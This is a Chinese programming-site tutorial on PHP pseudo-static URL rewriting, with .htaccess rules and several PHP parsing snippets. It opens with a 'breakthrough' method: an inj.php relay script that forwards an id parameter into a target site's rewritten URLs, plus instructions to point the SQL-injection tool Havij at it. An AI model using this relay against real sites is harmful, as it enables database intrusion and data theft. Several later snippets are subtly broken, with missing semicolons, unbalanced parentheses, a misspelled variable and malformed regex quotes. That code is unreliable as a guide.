程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP 偽靜態技術原理以及突破原理實現介紹

PHP 偽靜態技術原理以及突破原理實現介紹

編輯:關於PHP編程
    偽靜態技術比較好突破,需要自己構造中轉注入頁面;偽靜態技術原理都很簡單,就是把原來的 index.php?id=1 這種形式的URL給替換成其它形式  

    先說實現方法:
    inj.php:

    復制代碼 代碼如下:
    <?php
    set_time_limit(10);
    $id=$_GET["id"];
    $id=str_replace(" ","%20",$id);
    $id=str_replace("=","%3D",$id);
    $url="http://www.xxx.com/index.php/library/more/id/$id.html";
    $ch=curl_init();
    curl_setopt($ch,CURLOPT_URL,"$url");
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
    curl_setopt($ch,CURLOPT_HEADER,0);//啟用時會將頭文件的信息作為數據流輸出
    $output=curl_exec($ch);
    curl_close($ch);
    print_r($output);
    ?>


    用wamp搭建一個服務器,把上面inj.php放到wamp/www/中,然後在Havij中跑 http://127.0.0.1/inj.php?id=1
    =============================
    PHP偽靜態實現方法一(利用Apache 服務器的功能)
    1、檢查Apache是否支持mod_rewrite
    2、讓Apache 支持.htaccess
    3、建立.htaccess文件
    4、規則:
    RewriteEngine on
    RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
    ([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長啥樣
    $1 是([a-zA-Z]{1,}) 所匹配的
    $2 是[0-9]{1,} 所匹配的
    比如說:www.xx.com/page-18.html
    真實的URL如下:
    action = page
    id = 18
    ============================
    PHP偽靜態實現方法二(編碼實現)
    $Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
    echo $Php2Html_FileUrl
    例子:// localhost/php100/test.php?id|1@action|2

    復制代碼 代碼如下:
    $Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
    /*
    內層的strrchr出來:/test.php?id|1@action|2
    外層的strrchr出來:id|1@action|2
    內層的str_replace出來:把 / 號去掉,本例子 沒有
    外層的str_replace出來:把 ?號去掉,本例子 沒有
    */
    $Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
    /*把str變成以@為界限劃分的數組:id|1 和 action|2*/
    foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
    {
    $Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
    /* id => 1 和 action => 2*/
    $_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
    }


    ============================
    PHP偽靜態實現方法三(編碼實現)
    例子: localhost/php100/test.php/1/2

    復制代碼 代碼如下:
    $filename = basename($_SERVER["SCRIPT_NAME"]);
    echo $_SERVER["SCRIPT_NAME"];
    echo $filename;
    if(strtolower($filename) == 'test.php'){
    if(!empty($_GET[id])){
    $id=intval($_GET[id]);
    echo $id;
    $action = intval($_GET[action]);
    echo $action;
    }else{
    $nav=$_SERVER["REQUEST_URI"];
    $script=$_SERVER["SRCIPT_NAME"];
    //這句話應該是把URL前面那段給搞掉。。剩下 "1/2"之類的。。
    $nav=ereg_replace("$script","",urldecode($nav));
    echo $nav;
    $vars = explode("/",$nav);
    print_r($vars);
    $id=intval($vars[1]);
    $action=intval($vars[2]);
    }
    echo $id.'&'.$action;
    }


    ============================
    PHP偽靜態實現方法四(編碼實現)

    復制代碼 代碼如下:
    function mod_rewrite(){
    global $_GET;
    $nav = $_SERVER["REQUEST_URI"];
    $script_name = $_SERVER["SCRIPT_NAME"]
    $nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
    $nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
    $vars=explode("/",$nav);
    print_r($vars);
    for($i=0;$i<count($vars);$i+=2)
    {
    $_GET[$vars[$i]] = $vars[$i+1];
    }
    return $_GET;
    }


    ============================
    PHP偽靜態實現方法五(編碼實現)
    例子:/1,100,8630.html

    復制代碼 代碼如下:
    if(preg_match(“//(d+),(d+),(d+).html/si”,$path_info,$arr_path)){
    $gid =intval($arr_path[1]); //取得值1
    $sid =intval($arr_path[2]); //取得值100
    $softid =intval($arr_path[3]); //取得值8630
    }
    else
    echo "Path:Error!";


    總結下:
    (1)偽靜態技術比較好突破,需要自己構造中轉注入頁面。
    (2)偽靜態技術原理都很簡單,就是把原來的 index.php?id=1 這種形式的URL給替換成其它形式。

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved